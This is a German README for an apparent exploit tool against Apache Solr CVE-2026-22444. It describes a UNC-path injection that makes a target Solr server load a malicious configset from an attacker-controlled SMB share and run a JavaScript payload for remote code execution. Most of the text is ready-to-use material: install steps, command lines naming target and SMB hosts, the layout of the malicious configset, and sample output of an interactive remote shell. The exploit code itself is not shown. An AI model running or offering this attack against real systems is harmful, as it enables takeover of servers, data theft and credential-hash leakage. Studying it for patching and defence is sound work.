
Exploit für Apache Solr CVE-2026-22444, der UNC-Pfad-Injection und einen SMB-Server nutzt, um über eine schädliche Configset- und JavaScript-Payload Remote-Code-Ausführung zu erreichen.
Apache Solr UNC-Pfad-Validierungsschwachstelle
CVE-2026-22444 ist eine Sicherheitslücke, die Apache Solr betrifft und um den 20. Januar 2026 öffentlich bekannt gegeben wurde. Die Schwachstelle resultiert aus unzureichender Eingabevalidierung (CWE-20: Improper Input Validation) in bestimmten API-Parametern der "create core"-API von Apache Solr, wodurch Angreifer Sicherheitsregeln umgehen können, wenn Solr im "Standalone"-Modus läuft. Dies kann zu Datenlecks, Remote Code Execution (RCE) oder der Offenlegung von NTLM-Hashes führen.
Konkret kann ein Angreifer, wenn Solr keine Authentifizierung aktiviert hat oder der Benutzer über Berechtigungen zum Erstellen von Cores verfügt, diese API durch sorgfältig konstruierte Anfragen missbrauchen, um auf geschützte Dateien zuzugreifen oder bösartige Aktionen auszuführen.
Die Schwachstelle wurde 2025 entdeckt, an Apache gemeldet und auf der oss-security-Mailingliste öffentlich bekannt gegeben:
Offizielle Ankündigung: https://www.openwall.com/lists/oss-security/2026/01/20/5
Die Schwachstelle existiert in CoreContainer.java, wo der CoreDescriptor-Konstruktor Netzwerkoperationen auslöst, bevor die UNC-Pfadvalidierung durchgeführt wird:
instancePath.toAbsolutePath() kann UNC-Pfade über das Netzwerk auflösenFiles.exists()-Prüfung führt Netzwerkaufrufe ausFiles.newInputStream() führt Netzwerklesevorgänge ausassertPathAllowed() erfolgt erst nach diesen Operationenexploit.py - Proof-of-Concept-Exploit-Skriptfiles/ - Unterstützende Dateien für den Exploit (Configset)
rce.js - JavaScript-Payload für Remote Code Executionconf/ - Solr-Konfigurationsdateien
solrconfig.xml - Definiert die bösartige Update-Processor-Ketteschema.xml - Solr-Schema-Definitionmanaged-schema - Verwaltete Schema-Dateirequirements.txt - Python-Abhängigkeitenpip install -r requirements.txt
Die Abhängigkeiten umfassen:
requests>=2.25.0 - für HTTP-Anfragenimpacket>=0.10.0 - zum Erstellen eines SMB-Serverspython3 exploit.py <Ziel-IP>
Beispiel:
python3 exploit.py 192.168.1.100
python3 exploit.py <Ziel-IP> --port <Port>
Beispiel:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <Ziel-IP> --smb-host <SMB-Server-IP> --smb-port <SMB-Port>
Beispiel:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <Ziel-IP> --share-name <Freigabename>
Beispiel:
python3 exploit.py 192.168.1.100 --share-name myshare
Positionale Argumente:
target_host IP-Adresse des Ziel-Solr-Servers
Optionale Argumente:
-h, --help Hilfetext anzeigen und beenden
--port, -p PORT Solr-Server-Port (Standard: 8983)
--smb-host SMB_HOST SMB-Server-IP (Standard: automatische Erkennung der lokalen IP)
--smb-port SMB_PORT SMB-Server-Port (Standard: 445)
--share-name SHARE SMB-Freigabename (Standard: malicious)
files freiNach erfolgreichem Exploit stellt das Skript eine interaktive Shell bereit:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
Unterstützte Befehle:
exit oder quit - interaktive Shell beendenCtrl+C - unterbrechen und beendenDie Schwachstelle nutzt die folgende Technikkette:
configSet-Parameter (z. B. //attacker-ip/share)StatelessScriptUpdateProcessorFactory von Solr zur Ausführung von JavaScript-Codepython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # Haupt-Exploit-Skript
├── requirements.txt # Python-Abhängigkeiten
├── files/ # Bösartiges Configset
│ ├── rce.js # RCE-JavaScript-Payload
│ └── conf/ # Solr-Konfigurationsverzeichnis
│ ├── solrconfig.xml # Konfiguriert bösartigen Update-Processor
│ ├── schema.xml # Schema-Definition
│ └── managed-schema # Verwaltetes Schema
└── README.md # Diese Datei
rce.js: Dies ist der zentrale RCE-Payload, der:
cmd-Parameter aus den Anfrageparametern abruftsolrconfig.xml: Konfiguriert Solr zur Verwendung der bösartigen Update-Processor-Kette:
rce-chain-Update-Processor-Ketterce.js-Skript/update-Anfrage-Processor auf die Verwendung dieser Kette⚠️ Warnung: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die unbefugte Verwendung dieses Tools zum Angriff auf Systeme ist illegal.
Dieses Projekt folgt der MIT-Lizenz. Weitere Details finden Sie in der LICENSE-Datei.
Dieses Tool und die Informationen dienen ausschließlich Sicherheitsforschungs- und Bildungszwecken. Der Autor übernimmt keine Verantwortung für Schäden, die durch Missbrauch dieser Informationen oder dieses Tools entstehen. Benutzer müssen alle geltenden Gesetze und Vorschriften einhalten und vor der Verwendung eine entsprechende Genehmigung einholen.